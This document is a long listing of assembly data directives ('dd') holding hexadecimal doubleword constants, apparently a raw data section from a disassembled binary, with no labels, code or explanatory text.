		dd 38BDF47h, 97070EDCh,	83383CDFh, 0BD77AE3Ch, 0DED8F7F7h
		dd 0F59D7BDDh, 5D2B66A6h, 1E84A340h, 363DC8F9h,	12E0C1CAh
		dd 0BD636001h, 0E4489201h, 0C1103146h, 5A4D1A82h, 7B782678h
		dd 0E3D10BE4h, 0B8D4B652h, 16B78088h, 0DD0934B2h, 9552BB59h
		dd 1A0EF2C1h, 97C215CAh, 38833FFAh, 0D9AE861Ah,	4D6CE6D2h
		dd 2B845B39h, 0C0C8FD22h, 8253A814h, 0E1E6ADB5h, 0A8072083h
		dd 0A55CC8CDh, 0C7472C0Bh, 5205160h, 62D879D3h,	0DE5FA240h
		dd 11A45FA9h, 190E92FEh, 9DE92D02h, 7EAE27AEh, 577950AFh
		dd 0F8398DC7h, 6E4834CCh, 972FFA9Ah, 87EC4326h,	49456FDCh
		dd 7F5B0F30h, 3C09660Fh, 0E181A85h, 93B41208h, 0AE271AF0h
		dd 3C7D404Ch, 0A73564E0h, 0B795DC4Eh, 90B766F2h, 129396A3h
		dd 72F5B8C8h, 914E5A63h, 376C16A7h, 0A2D79427h,	19421011h
		dd 9BDFF34Dh, 0D3A11ABAh, 8DA93795h, 4C819AB8h,	2C2086F2h
		dd 17583A99h, 4E83BD08h, 0EEF8ED55h, 2E292ADCh,	52D33CD5h
		dd 760EB3F3h, 0BFB0BF90h, 80A335A3h, 90A4F359h,	3EFEDD5h
		dd 0DEB1D360h, 53655425h, 0B40A6E1Ch, 0DF5E87F0h, 2EDFB7DEh
		dd 1F90225Ch, 5FA84637h, 7593645Ch, 10E17F4Ah, 8F19DB36h
		dd 0C5495C1Dh, 0CE480572h, 0C5CDAC29h, 7EB854F1h, 39E2440h
		dd 0EB59B2h, 57114F02h,	7BDB539Fh, 20C7520Ch, 70067200h
		dd 982C7816h, 2CFAC6F6h, 67B29685h, 0DA4EB876h,	0C96A281Dh
		dd 0DCBAE11Dh, 41BC2BE4h, 0C01395DEh, 0EBA3575Ah, 79FC3AF7h
		dd 0C8DD86E2h, 0BDB5A44Dh, 472652A8h, 60970F9h,	0A7815293h
		dd 26CE122Ah, 9C120501h, 9A9A3C2Eh, 0FBC353E9h,	0E47F7FB9h
		dd 715900B5h, 0F468FAD9h, 48A83053h, 0F92B1BD7h, 0AE566B0Bh
		dd 3273E2ECh, 0F94BD164h, 7E9C72B6h, 9A59DC4Bh,	0ACF3A4A2h
		dd 0C01E34DDh, 7C35B79Bh, 3DD1111Eh, 6F4D5979h,	0D8D12845h
		dd 0DE872A00h, 4AB0051Ch, 0EFF147D1h, 0DA11FBC4h, 185ADAFDh
		dd 7851C25h, 0B35AD138h, 335FCD1Fh, 0E5EC1818h,	0ECF911D8h
		dd 7A53C455h, 118EC5FEh, 0D90F0913h, 0E66B9F8Ah, 9DFFA98Dh
		dd 4A361B46h, 7CB8CC55h, 28A58246h, 0F679BAFAh,	33EFAECBh
		dd 0D58C9A72h, 7F1C6815h, 42C9F940h, 985A5B5h, 0EFA8F33h
		dd 0BBF843A8h, 6A46B64Eh, 7B8BE37Ah, 11A0E33Dh,	816E12C3h
		dd 21ABF860h, 0ADD2EB8Bh, 8AF20C57h, 35A994FAh,	0A6DC016Ah
		dd 0A3152EFh, 3D274D7Bh, 578B3AEAh, 0B3BC348Dh,	8FB3AFBBh
		dd 16F3567h, 24D66F39h,	46C60F8Ah, 7852784Bh, 295C1BE5h
		dd 102D8BEFh, 0EA42291Ch, 47B5CA88h, 4747E350h,	0DD8A6E9Ch
		dd 5045BF46h, 75332A5h,	0DFAA5CF9h, 2281F6BFh, 1ADAAF5Dh
		dd 90C216DEh, 0FF2EAE2Dh, 71D83510h, 816FB903h,	0E02BFEB2h
		dd 48C3F98Fh, 0DE86C68Fh, 717EC5C3h, 752424CAh,	1595216Dh
		dd 11888C9Eh, 0A6431793h, 931E4F0Fh, 3924AD5h, 3D45A786h
		dd 0C092769Eh, 6D3CBD54h, 0F71D0EFEh, 0D1AC5CA8h, 0DD178EA8h
		dd 36E60095h, 4ACEF1D0h, 0AEF9AE20h, 0A02AEE72h, 0C15D5FA2h
		dd 4FF9F148h, 0D270814Eh, 41113C77h, 3CB8DA2h, 8D6EF801h
		dd 0DEB5DD2Eh, 18A6841Dh, 1242AFBCh, 4C0F9281h,	0F642C96Dh
		dd 5042A9F9h, 7C1278F6h, 4B100BC8h, 8265AE64h, 0B1F424AAh
		dd 49CCF570h, 0F717D108h, 46B2127Eh, 5E4BC143h,	3482B74Dh
		dd 7F842C9Dh, 0A47BC848h, 52C204D7h, 3D363246h,	2301AD7Ch
		dd 7F4F59h, 0BE8B2111h,	0FD8ECF9Ah, 0CC463304h,	0E7533B48h
		dd 23055272h, 6DCCDF3Eh, 1A4C06h, 97D70BB8h, 46A18DFBh
		dd 0A606AA6Fh, 0CB9E4477h, 0A1FBE265h, 195ED4D8h, 0E3CDC24Fh
		dd 666BE160h, 64C1B3BBh, 9DBAC61Eh, 0E579CE8Ah,	0B5D6CA17h
		dd 1FFA395Eh, 0D63DB312h, 19BF02A8h, 3858A45Dh,	1C6742CBh
		dd 4D45F51Eh, 0F1CBF6EBh, 94DAF7D3h, 0C4F1D5C0h, 2271D388h
		dd 68056B53h, 0CF651CFAh, 0F4A7DA4Ch, 0DEFD97AFh, 3E518610h
		dd 85AAF9Fh, 363351E8h,	9E3C8C71h, 5D66AB08h, 19150138h
		dd 5997532Eh, 0F11F1FCDh, 1AC8E700h, 0BC31B481h, 711468DCh
		dd 6A7A1285h, 2F9831F6h, 4E98A97Ch, 0CA38C135h,	94BB4934h
		dd 774A56C4h, 0D405B817h, 0D78EDE4Dh, 0B122811Ch, 9BDB031Dh
		dd 7703BC7h, 5EF22684h,	4C6ADCBAh, 0E0EE38EDh, 0C81A9921h
		dd 9B71869Eh, 9D13FCCAh, 0C19006E5h, 95D37602h,	0A842E3AAh
		dd 0B3FF699Ch, 0EF5B04EEh, 71495DD1h, 6FC9BD2Eh, 953AF551h
		dd 0F90A1ADFh, 0F247970Fh, 2C51545h, 9F6F61F3h,	82980E49h
		dd 0B507B968h, 88DDA6FFh, 73FB8611h, 0C1662C10h, 5751F6CCh
		dd 424E2D8Fh, 95E3BF23h, 0A2F9A034h, 99A012A0h,	1A18BC45h
		dd 21DCAC19h, 0F3DA6546h, 0A81214E9h, 0FD0EBAF5h, 78F93FDDh
		dd 0E4EC4F34h, 6B29DF51h, 0A4CE7C3Ah, 671AD6DAh, 0B3C6E1D9h
		dd 2C4B26C1h, 7F96FFAh,	4274A872h, 1706FB23h, 2F046DD4h
		dd 678EF28Eh, 0E4230A8Dh, 820917E2h, 7799A27Fh,	66B70EFAh
		dd 0A3C29283h, 9D4558E2h, 2AC3A97Fh, 0AD1C6F74h, 599BCF4Eh
		dd 99FCF7D0h, 4A2572A3h, 0CB0DDF73h, 9A11B15Ch,	6358E9B8h
		dd 0C94BD900h, 19C83A13h, 4EFA684Ah, 952932AAh,	87332714h
		dd 14362D69h, 3F010DC4h, 0BC026403h, 7A55F60Dh,	62490672h
		dd 690A8540h, 12FF303Fh, 5EEC1C41h, 0A0A67CD2h,	0F5A6A1DFh
		dd 166007A2h, 0D4A43205h, 0C2987AC1h, 0E9B7B01Fh, 0C4B49789h
		dd 6B9A4631h, 80BD7A5Fh, 9E0D6C4Fh, 7D3F50F0h, 3935DA23h
		dd 6F33C3Dh, 1AE52EBDh,	43C43325h, 0B5D83026h, 0B565AB88h
		dd 0A74F1D79h, 0E23671F0h, 0A9055605h, 0C6A7CC4Ah, 8C0D23D4h
		dd 3A79B962h, 0EC7FFE72h, 0CF98E614h, 5973398Fh, 8ED7A0BBh
		dd 17D55E5Eh, 0E0CBA191h, 8690EE95h, 7765BC56h,	676E4F42h
		dd 16BFC102h, 0D6D05137h, 0E09E1FB1h, 5ED316C0h, 274E55F8h
		dd 80ECA6D8h, 8C487E9Eh, 9B1C6E19h, 164C5EA6h, 0D9762E93h
		dd 0DD29063Bh, 4A0BBC8Eh, 55B21CF9h, 0FA59795Ah, 20372B14h
		dd 1CA07A8Fh, 1494BE10h, 0B5A4A555h, 0A033E111h, 9F71DBEh
		dd 7D0C737Ah, 0F1628B6Bh, 0FCF0D0B8h, 961363ECh, 8F6F151Dh
		dd 4011E352h, 0C7414D0Ah, 44A83705h, 96B31971h,	1D7D4F91h
		dd 8EB5B1BCh, 38846149h, 1D1B85F2h, 203A192h, 4D38043Fh
		dd 5ABDB5D4h, 0FDDC502Dh, 4315C609h, 0C4E73C69h, 0EDC364A0h
		dd 0A33EB44Ch, 0B8F3734Dh, 0A196FBFDh, 2344905Ch, 0AF4DD663h
		dd 805B0BD5h, 7F98C00Fh, 0D9486F2Eh, 7079826Ah,	0FC746FAh
		dd 440310ACh, 0DCE39833h, 8E3E0FA9h, 0A188FFC7h, 0ABABC6A0h
		dd 0D3EE471Eh, 1A750CB4h
		dd 9192C51Ah, 3A4E13F6h, 44CCCC06h, 6DEF8227h, 2D7DACE1h
		dd 0F053033Ch, 0F6001A80h, 20D204D3h, 36EE5EDDh, 0EF21CF3Dh
		dd 7CB78CACh, 95D1D414h, 0A5065FE5h, 343AFB5Fh,	0E26755FAh
		dd 5B69B7Dh, 0C5FB8017h, 47F56B2Eh, 5B27B19Bh, 456CD5EDh
		dd 0C1B4881Bh, 0D01B0F9h, 5B3F1E17h, 0A0078D37h, 0AD127C7h
		dd 3CBB5F33h, 0EDD811A9h, 0CA12E91Eh, 28893526h, 914A7A9Dh
		dd 0D347BEA7h, 31FE010Eh, 5DAF2FCAh, 0A9F3C01Dh, 938E23F3h
		dd 0E97AE4C9h, 8EBCF625h, 542FA80Ch, 0A5CBFCDFh, 9690E264h
		dd 62FFFF86h, 30D085B0h, 0C0D8E5F9h, 0D8191BE1h, 77B94E83h
		dd 0ACFEE980h, 0A1CF3412h, 0F493A027h, 0F04BDD76h, 0E1F970A1h
		dd 0F696BBF8h, 5BDF2480h, 9155663Bh, 0A70CACAEh, 231D18BFh
		dd 321B8CDDh, 5FC85285h, 55C3BDBDh, 344E8F2Ch, 32752CC0h
		dd 3A348B87h, 0FCE4BD93h, 6CD4D066h, 0A64AF496h, 7E5E49C0h
		dd 0D1D66D88h, 0F9C8E966h, 2579BF1Ah, 3F365048h, 0A9F03D68h
		dd 0A9664EC6h, 0DF40BB96h, 786B7BDEh, 0ADD92BF1h, 5CCE9415h
		dd 0B21BF973h, 5A106B4Fh, 4042D170h, 5ECA8C0Eh,	68312C9Ch
		dd 9238A49Ch, 7C97D7D0h, 371520BCh, 37558BB5h, 402C4E2Bh
		dd 0BA88D41Fh, 1998F540h, 0C7BEBEF9h, 77A2824Dh, 6F2E712Dh
		dd 2C6AC111h, 0E1212DB4h, 0A6D011B9h, 8076A32Ah, 0BF18D16Fh
		dd 0CCC7548Fh, 31D74255h, 8B84A8F5h, 8A91567Ah,	1CFB4522h
		dd 6732D032h, 66302C53h, 725C8915h, 52662210h, 9BE6700Fh
		dd 4073A020h, 0B2026A5Bh, 91F63272h, 191AAF58h,	100B6C44h
		dd 0CE6DB0EFh, 36AA7256h, 3B1B35A2h, 0E3C63CA3h, 2130A9E0h
		dd 0E717AEA7h, 3DE54EE4h, 0EF091618h, 9F8270E9h, 0D99426EAh
		dd 0EC1E5377h, 524DF560h, 0FC4429A5h, 42664588h, 60C28F10h
		dd 42EAEE1Dh, 0CC70098Ah, 0F89813EFh, 0CCBBBB14h, 97D77600h
		dd 6800AF3Bh, 67028FE2h, 55902EA9h, 9C396C57h, 19DEBB66h
		dd 4A5B1B60h, 0F5EF4A26h, 5806762Bh, 0A31C67AFh, 2BDF2C0Eh
		dd 398184F5h, 0D0927858h, 215D5808h, 1ED8EE4Ch,	0CB4B8AB8h
		dd 9ADA0060h, 807B04A3h, 25861082h, 139E02BDh, 5D8FE2DCh
		dd 0FB2DDCB5h, 0BDF3CFAh, 48107EDAh, 35E1BF56h,	46FEF0BAh
		dd 0DD24EB4Fh, 0F5728DDAh, 3DDEEB48h, 0C4692FC9h, 8767C1F9h
		dd 99DC9893h, 2E83A8D7h, 0DC107F2Bh, 845529F4h,	0C61B0DE2h
		dd 31D2AF0Fh, 0C2245018h, 0D2F43463h, 82B617EEh, 475A1144h
		dd 6A105169h, 91429C3Ah, 0D799ACC0h, 25570272h,	6FFB576Eh
		dd 5AECAF92h, 9DE2AB15h, 96890864h, 953685E1h, 0DD19B50Bh
		dd 7BB1ADD3h, 0AEBEF831h, 0CDF8C4Ch, 76FC398Ch,	31770734h
		dd 42B6DB42h, 503D3114h, 51FC7259h, 2FDFA191h, 0F85B542Ch
		dd 15758BF7h, 794AFDF0h, 3C0FBA0Eh, 0AFF4FA5h, 8FDBAD02h
		dd 39EC1860h, 39AA597Ah, 76376D0Fh, 62419E8Fh, 5C423E84h
		dd 0B5DF144Ah, 414BC66Bh, 519AEB95h, 701969D2h,	2EB2CD5Ah
		dd 2652D835h, 26439868h, 81B440FFh, 0FFD3FE82h,	9FECBB7Fh
		dd 4B32FD2h, 4D56ECE1h,	5B6AD681h, 337E5841h, 347D00E8h
		dd 0F89C353Eh, 90B3D950h, 5E557611h, 80B7ACADh,	0F6CF3CB4h
		dd 8B147B69h, 6E62369Eh, 0A693A335h, 61D9A02h, 95DADE13h
		dd 81CE7915h, 0BA83CBE4h, 63C2BFC8h, 0E6D80DE6h, 81DF4230h
		dd 15C41105h, 0A6C3C4DDh, 0F8BDEA61h, 58844B88h, 0A93C961Dh
		dd 94BA8406h, 0D6B6DE81h, 663CD97Bh, 64224B8Bh,	123B1E31h
		dd 0E3A35D76h, 8B346ED9h, 687DE31h, 6008CA88h, 0F274E047h
		dd 750FA0D5h, 5CC31778h, 8380714Bh, 22938E51h, 9C1A1F62h
		dd 54DB417Dh, 0E6FBB3FEh, 3B4D48EBh, 3057E13Eh,	8251A8EEh
		dd 56299FA6h, 8ED89DB6h, 68B2C0CAh, 0BE2690FDh,	0EE145EA6h
		dd 0C8014BC6h, 0D5EB468Ch, 6FBC994Eh, 3DE87280h, 0CE37BC80h
		dd 7DC80A50h, 0F38485AFh, 0DA1BE4DAh, 8752A7D7h, 0DC1AA73Ah
		dd 0B88956EBh, 0EFC8541h, 88721033h, 0D24EB5A1h, 29080E69h
		dd 0F52B277Fh, 0FA6E954Dh, 9F883F6Fh, 0CE3D1C9h, 0AC74B9E8h
		dd 29410A27h, 0CA332844h, 202DC867h, 80BA0CD6h,	0E0ABC4D6h
		dd 0FDE1E1DAh, 0AC6EABB1h, 42233D06h, 4E00169Fh, 1281A404h
		dd 715CABDFh, 9803A201h, 55D58530h, 8137D6B2h, 0AA91DD88h
		dd 10545A1Bh, 0AFF04193h, 0D6CD36E2h, 0BC6726Fh, 62F2FD8Bh
		dd 34D2B5B4h, 39DBB7D4h, 88062C1Fh, 3E2C2019h, 0B0D2CE27h
		dd 423A81F4h, 52DC820Ch, 48232881h, 82BD449h, 0CB6C59Ah
		dd 4EA2A19Eh, 5C49B921h, 96861747h, 665EEA77h, 7A5C08B5h
		dd 0C780135Eh, 9524B3A7h, 0B831D139h, 0FE720C20h, 71EBC92Eh
		dd 4C63789Ah, 0EB8FDF06h, 32E312F9h, 826EE850h,	53B2260Ah
		dd 74E30A0Eh, 15C29F03h, 0AA55817Dh, 8D3888B5h,	2114D854h
		dd 34914B31h, 7125688Dh, 6AEE204Ch, 0A5C4924Fh,	0FA02EA9h
		dd 418C67E7h, 0E103DCDEh, 6387A730h, 0D6CA88F7h, 0DC00AE80h
		dd 0A4F84871h, 0F4217283h, 263D24E9h, 3D0A4808h, 38C7450Ah
		dd 5254C00Ah, 1128E331h, 980C267Fh, 0D75B0555h,	85552776h
		dd 6B7B0CDAh, 47661CB4h, 387E95E9h, 0A6C0BDFDh,	2D8DE1D7h
		dd 0B7470C6Dh, 25835036h, 2B0F8A57h, 0BB78AFD4h, 86CD5DA2h
		dd 0A9D92233h, 0DC21A3A2h, 68F860E3h, 99F5B263h, 1E689EB6h
		dd 34EDAAD3h, 24AB7CD6h, 0F1E2A7B8h, 0DE71C74Eh, 0DE66C0BEh
		dd 84F40456h, 980F3A2Ch, 9066BFE5h, 268DC530h, 0AED380DCh
		dd 0FCFA4529h, 0D70A01FAh, 0F760A279h, 88E62DFFh, 0C7F86A3Fh
		dd 0E92CDBD6h, 0B970AC05h, 0FAC22C26h, 0F7C607DAh, 6099361h
		dd 5E592C2Bh, 0D839D592h, 512C4963h, 7E1296DEh,	7662D90Ah
		dd 6417E91Ch, 0D2823A48h, 7DB84C98h, 3E4B380h, 858307Bh
		dd 0F55AE9CFh, 4D2C0C92h, 0C37DE28h, 1EF05AE3h,	0FEA24CC2h
		dd 8B5DC733h, 0DA86BA97h, 0DDB5D717h, 0B1D1E605h, 87860AF3h
		dd 1F7A14F7h, 0BFFB3E7Eh, 7E452D21h, 30CA2057h,	0D0A47B29h
		dd 4761C1EDh, 0F1607112h, 6493BD28h, 9D961255h,	0C8853E47h
		dd 68B18E8h, 1525CBD1h,	47AECDEDh, 65B82911h, 0C67D8353h
		dd 0C5FD44DCh, 3734EADDh, 719028C4h, 0FD5FC039h, 0B8A5DD40h
		dd 9599D2D8h, 0F4FFC202h, 0F95467D0h, 13164E1Ah, 65A3716Dh
		dd 2B8F1859h, 0EB3D15FAh, 80C0FC97h, 0C866CFC9h, 0A2AF5D49h
		dd 7DAA15Ah, 7791E630h,	1617F5BBh, 69330A04h, 4051A00Bh
		dd 9C41B7D6h, 46EDE5ECh, 52BD4B51h, 96B35AB3h, 73B487BFh
		dd 0EDC2C490h, 18418124h, 0AA9E68ABh, 0CC49BD1Ah, 70B9897Eh
		dd 0CC0D6210h, 6CA9581Eh, 968F649Fh, 4AAA09F1h,	8B2E4227h
		dd 67025AFDh, 60879CB9h, 6E6328ACh, 0A460F236h,	50CC182Bh
		dd 0D3894D0Dh, 63A5F0C0h, 0EE750D36h, 7113AC61h, 8C08BD35h
		dd 64340C93h, 59FEB5F0h, 5C6C18C2h, 89394CCBh, 0B67BE0CFh
		dd 3DCB12AAh, 6CF04F01h, 0BB2515Eh, 135874A5h, 0F6EAFC7h
		dd 9000DD4h, 0AE7CBAE1h, 0F17D63C7h, 795F14BFh,	62482BE8h
		dd 0A2EED336h, 19D8DCC3h, 50E9D098h, 0E5F61C3h,	0D139BCADh
		dd 0E785614Dh, 809A5E2Eh, 0F9E9A15Dh, 0F1EDB0E2h, 65599C2Eh
		dd 8F30A94Fh, 0BD664346h, 44E659D1h, 9BAC9301h,	0BB8A9E64h
		dd 0B0D64CD2h, 0AB01906Eh, 0DDA1B347h, 48C20724h, 42D4449Eh
		dd 0F0147B24h, 9FD9647Dh, 6A1DF3E6h, 6CAF259h, 0F50097Eh
		dd 9ADB5B19h, 0F50090DBh, 0E87143B1h, 0E0474AE8h, 1F8F3C0Dh
		dd 649D6413h, 0AFE6D03Ch
		dd 2EF03BDBh, 7CF5623Fh, 0A34927DFh, 1B82E0C5h,	991C0DC1h
		dd 839C58BCh, 0E523DB27h, 0EE889648h, 2ED56517h, 1A591FFCh
		dd 0FDDAC512h, 0E5187681h, 51A9D07Ah, 31043D38h, 107318DFh
		dd 0C493CB62h, 2DAEEAC4h, 2A7478E1h, 8456A46Ch,	64F94181h
		dd 10C391F8h, 21BE3D3Dh, 83E5FB53h, 292F0E1h, 2E02C4D4h
		dd 4131A753h, 0EF509BEDh, 0B0E9998Ch, 3AE8AA79h, 0F68CBC25h
		dd 21D01589h, 0E3C37321h, 85258957h, 96AD5312h,	13E55238h
		dd 5919F223h, 0B34C0911h, 18B2445Bh, 20D19E75h,	0A472FB2Dh
		dd 8EF71223h, 0BB1F56F3h, 0C2243468h, 35493DBFh, 0EEFE32F9h
		dd 3305DF15h, 4D066C9Fh, 0EDA5219Bh, 611D235Fh,	0CE4431C2h
		dd 63F791ABh, 0CE4534C5h, 0FEB51FA7h, 7ACBA456h, 68892599h
		dd 70036CB5h, 0D2A73FEEh, 0D5371A82h, 32D9D41Ah, 65B9E297h
		dd 0ECF33147h, 571C5A48h, 39434249h, 73A8760Ah,	203249F4h
		dd 0EF527BC9h, 0C1D9EEA7h, 452E3B77h, 26163404h, 0F3728C50h
		dd 134B3D5Dh, 9AEC7E67h, 2F511A1Ah, 0CFC9BCE9h,	0B996E2AAh
		dd 8CFE0879h, 0EAE4B8F7h, 47A4BCDDh, 222EEBD8h,	3799E550h
		dd 0B8ED9192h, 0DB1FB5E0h, 9C24D0DDh, 7FF2BD8Ch, 540155B8h
		dd 6E3CCEA6h, 1FF80357h, 0C4A96648h, 82DA5EF5h,	59A4A2B5h
		dd 3DDE048Dh, 4900F0F4h, 91E3A056h, 0D7161B65h,	0CC0D70D3h
		dd 24176294h, 8D9ED515h, 0B50C4B4Dh, 23F48BCAh,	6544FAC8h
		dd 0B4A71C43h, 26FFBE74h, 16D60444h, 0D4C7B1D2h, 0B7BEDA97h
		dd 3F19600h, 0E0A0DFDEh, 9033588Dh, 2FAA214Fh, 6FC9F5EAh
		dd 292B13FAh, 340437D4h, 7832694Eh, 0A05455FEh,	30CEA727h
		dd 0CFA7DFD2h, 0C04E7FC4h, 0A9C81541h, 3EEAA661h, 42C72F61h
		dd 0F03AF329h, 0AA229493h, 0B86189DEh, 3D48B1DAh, 8A4F8790h
		dd 2BBC949Ch, 3DBD9B9Bh, 558DD007h, 0AA8C3609h,	14E61BF5h
		dd 0F0C7A037h, 6EE352B3h, 86A76E52h, 896FA858h,	0E9595289h
		dd 7089CD7Dh, 6B8CE8EBh, 6E736CBCh, 89EEE56Ch, 57EC7C92h
		dd 7D7D25FDh, 0A3B640E2h, 45FF82BBh, 94A105C5h,	7DB769Fh
		dd 2256CD21h, 51045515h, 1DAC2FB7h, 0E57F5EDh, 3C95D577h
		dd 0FF639C24h, 8A708FC1h, 2689441Ah, 35ECBF95h,	0A6C9C1FEh
		dd 0BC2A4778h, 0C98C9F3h, 6E5031ECh, 40997E54h,	96999848h
		dd 0B392090Bh, 0EBF61246h, 0A8833E3Ah, 0BD0B8BBEh, 6693F3F0h
		dd 0BBE7FB1Fh, 0DB3BB70Fh, 7AB2E714h, 81CE3FC7h, 1C294362h
		dd 0BE6E49C4h, 88AA50A1h, 0B41B8740h, 0E57AB997h, 4C165F08h
		dd 0D4D54A8Dh, 0BB0B5840h, 0BFFCE261h, 3E9122D8h, 1DEFBAF6h
		dd 321F8BD3h, 0DBE8A7D9h, 0D0880E18h, 0F882A9h,	0D0928B20h
		dd 8704B939h, 0F16DF6A4h, 2E53F9E6h, 1D71231Ah,	0CF2C0EBAh
		dd 1AF03335h, 4D39E3D0h, 0D10D8BFDh, 1EC2DFF8h,	0DE9C95C4h
		dd 71B59B0Fh, 0E60F6819h, 5F0A876h, 79951647h, 372BC41Eh
		dd 592CF80h, 3ADEF0BDh,	25DCD1A1h, 47380B4Dh, 3BEBAB86h
		dd 42240F13h, 33B992D2h, 0C464DD6Fh, 43F98A86h,	0D219C076h
		dd 17780E5Fh, 272B685Dh, 0F4EBD7Bh, 0B80C2135h,	0F82E0D67h
		dd 0BA7B2CB8h, 0F3C8FC36h, 329D3063h, 0F1726DB4h, 6D7F0304h
		dd 6B4B34CFh, 90F7BAD2h, 124267h, 9C40B1C9h, 0B982B6Dh
		dd 0D8EA56C8h, 84F52262h, 0F259DB05h, 0C99D7AE9h, 0D4A51186h
		dd 0FD7F115h, 0FE8ABE21h, 0B6ECC94Eh, 0AA592983h, 0DDD1314Ch
		dd 286DFE7Dh, 0E6FE7BADh, 0D9FE8D0Eh, 0E20288D8h, 0D904468Dh
		dd 527AE425h, 0E911186h, 1110A769h, 82A75C88h, 617E35A6h
		dd 0A5590406h, 77A5FEC1h, 0F97CBBE3h, 84C60FB6h, 0FA77B5D1h
		dd 236AA473h, 0A8058BEBh, 0D9C5C1E3h, 8CD01A2Ch, 24B19558h
		dd 71D3F9FDh, 15A09175h, 1DB4615Ch, 0CE898F46h,	490C80B7h
		dd 0F0FB3872h, 0C28B3FB8h, 0AE400264h, 7C61FD28h, 0AD1BED6Bh
		dd 1D2E2412h, 0B60D264Bh, 0E72808BCh, 0CD10BAD4h, 0E8F5348Fh
		dd 4BE03E0Ch, 157172E3h, 92C39415h, 298BF6BDh, 462FBC6Dh
		dd 2303C7F7h, 4AC219EAh, 7852668h, 6096531Ah, 110B795Bh
		dd 0DBAA89F5h, 0BF560CB0h, 16CF1A53h, 4A200928h, 3A39C102h
		dd 0D4BC083Ah, 775C2B03h, 6BDD04A5h, 892949C2h,	5BDEC327h
		dd 8FE3F418h, 604A1116h, 0D1A3E240h, 1D3E02E6h,	237B97CDh
		dd 61D886E5h, 50B68D28h, 0F7C60E08h, 0F9ECB543h, 9F586128h
		dd 476E94C9h, 0C779A015h, 9E540E5Ch, 0E4275D9Eh, 548D22ADh
		dd 55D0C440h, 5AD3538h,	79867CFDh, 4E02B722h, 5F7B8D2h
		dd 218D108Ah, 530AA0BBh, 629235DBh, 5492ADC0h, 908A5FB5h
		dd 467070A7h, 0BED210C0h, 994875A0h, 0A5136AAAh, 2A693319h
		dd 170F6E14h, 0B2EA5B50h, 58E63907h, 57C1002Eh,	3B24803Ah
		dd 242EB99Bh, 0CD976626h, 5A5BD9FEh, 3496B653h,	877F7C93h
		dd 0A085F021h, 0B43B097Bh, 46144827h, 43F8C4DAh, 6E0EB8C3h
		dd 0F7D4252Fh, 0DDAE3F2Bh, 3B4575BEh, 9078E9ABh, 3CFB32C9h
		dd 0E87F61E9h, 26D3BD88h, 839A71Bh, 0B6BDE95Bh,	1B884115h
		dd 0A483BC37h, 223FF12h, 2B31EEA9h, 835F5EA0h, 4C9157B2h
		dd 2D8FE9BEh, 0F409BA4Bh, 37DB72Ch, 0ADB4C6DEh,	0F93B7D32h
		dd 45AC41DDh, 1C548473h, 60D66B2Ah, 4B47441Bh, 0D517CC81h
		dd 0BA6D6732h, 9F265052h, 0DD7F556Bh, 954D5B92h, 37EF9624h
		dd 0D2399EC4h, 2DB7229Ch, 0D0288D1h, 0D532F1C0h, 0B1153F38h
		dd 7EEE0881h, 0A6CFC71Fh, 0AA0E8D78h, 0F79805B7h, 0B1CED56h
		dd 7AC9E447h, 0F67E3E88h, 8A307649h, 7BAA2EA5h,	0F1C4ADA6h
		dd 58C7630Ah, 0C8167Ch,	976CE5ADh, 0A69FEC4Dh, 0A2BC8607h
		dd 169A0E02h, 204BCA02h, 0D7462F09h, 9755C3C2h,	0D359B1Bh
		dd 0DB974636h, 0ED7089AAh, 598DEF8Ah, 0BA028E8Dh, 0B01A7D8Eh
		dd 0C37D781Dh, 0F49B5E9Ch, 824D20A8h, 0DA23B0ADh, 43B7B25Eh
		dd 4294391Dh, 42AAE41Ch, 7A638A0Ch, 22EA6D2Dh, 0AA4920D7h
		dd 71F6B27Bh, 74C266E2h, 58CBB9ACh, 9F69C1D7h, 576244B1h
		dd 62396D05h, 8F1D36A4h, 102D41DAh, 0FC54855Dh,	0C8771693h
		dd 18F3AD63h, 88AB1622h, 0DF68008Fh, 2F1C1F6Fh,	70FCDFAAh
		dd 230ECD3Ah, 1B1D2FA2h, 8E1BA1D7h, 0D7825F6Ch,	2D64C83Fh
		dd 0B62DA6F6h, 71A65924h, 50485401h, 0DFB7928Dh, 4F66762Bh
		dd 7BFC7ACBh, 72E9ECC6h, 44B6A515h, 4A48BD5Dh, 4105CBE5h
		dd 982FF207h, 0EA206C66h, 0FE04442Ah, 5E2298DAh, 77FC5BBh
		dd 5526BA31h, 2231D00Bh, 0B42CB3E2h, 1F18E151h,	0F2B73C15h
		dd 5148BB56h, 479C6AB4h, 0A3D0E330h, 5AE444B0h,	8801CBD4h
		dd 0E7E830C4h, 0B856D32h, 0F1376E38h, 0F7590884h, 54AA6678h
		dd 0E6758B18h, 0A4A5696Fh, 45ECB935h, 0E7125686h, 7ECDBFC9h
		dd 2FFEBC08h, 0A0574FA6h, 0E0473963h, 0FA9CDCDAh, 16914F4h
		dd 0A213747h, 3DF9D6C3h, 0E64ADDF2h, 0AEE64078h, 3DA0A77Bh
		dd 72C3BB08h, 0EFD4B1D6h, 3CCF3829h, 92DB7350h,	0B165697Fh
		dd 3B965FB6h, 0F10506E7h, 0C0253EDAh, 785E1122h, 32D1CEF1h
		dd 8CDD0A71h, 9F514225h, 8A9CBD7Ah, 4C7C511Eh, 0E0B0C9B0h
		dd 0C78BC59Eh, 7B133D68h, 0E14256B0h, 0A732587Eh, 0D4F72459h
		dd 2322EE59h, 0B30998E6h, 1D95DDADh, 11B34B62h,	412FF1BFh
		dd 0BF196527h, 996E6B1Bh, 0EBCC9FFh, 311423D9h,	478106C2h
		dd 0F84345A5h, 0E04D48B5h, 997350E2h, 0AAE8E4Bh, 47E7CF5Bh
		dd 71FCEDE2h, 3A85AAAAh, 0E84708FBh, 427953CDh,	8360BB6Bh
		dd 0CF37412Ah, 0D1D930B8h
		dd 0F3202FABh, 3EC2BB0h, 0A7921E62h, 2D0EA4D4h,	26819235h
		dd 55893413h, 0C0378FD4h, 50242107h, 0FC46BE28h, 9BB18F0Ah
		dd 259E7FFAh, 9A5DBD94h, 6153862h, 0FE5A22CBh, 1204583Ch
		dd 7CA1EB46h, 6DC2D4Eh,	0A08DAE00h, 9EDD5593h, 495D46F0h
		dd 533EA651h, 273A57E1h, 95521CEAh, 9E13928Ah, 0AD5ECD25h
		dd 0E7358BC3h, 96E9AFF0h, 0FF34673Eh, 0ACB9320h, 0D51642ABh
		dd 9B7FC00Ch, 3B011979h, 576E1B26h, 9ED4F706h, 0A2C34284h
		dd 0F3BFD9DBh, 117458BCh, 0F447AB6Ch, 541B74DFh, 9072053Ch
		dd 0FAF43DD0h, 2EDE4978h, 95AA642Ah, 96B71BE9h,	0F4CAD5FEh
